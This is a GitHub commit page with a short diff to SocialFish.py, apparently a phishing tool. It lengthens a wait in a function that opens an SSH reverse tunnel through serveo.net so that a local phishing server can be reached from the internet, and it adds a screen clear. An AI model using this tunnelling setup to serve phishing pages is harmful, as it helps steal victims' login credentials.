Update SocialFish.py

This commit is contained in:
Usama Abdul Sattar 2018-08-09 09:38:03 +05:00 committed by GitHub
parent c67cc1914a
commit 9738ee7ed7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -285,7 +285,7 @@ def runPEnv():
def serveo(): def serveo():
system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ') system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > sendlink.txt 2> /dev/null & ')
sleep(4) sleep(10)
f = open('sendlink.txt', 'r') f = open('sendlink.txt', 'r')
a = ['', 'Forwarding', 'HTTP', 'traffic', 'from', '', ' '] a = ['', 'Forwarding', 'HTTP', 'traffic', 'from', '', ' ']
lst = [] lst = []
@ -333,6 +333,7 @@ if __name__ == "__main__":
elif choice == '2': elif choice == '2':
serveo() serveo()
else: else:
system('clear')
return server() return server()
server() server()
multiprocessing.Process(target=runServer).start() multiprocessing.Process(target=runServer).start()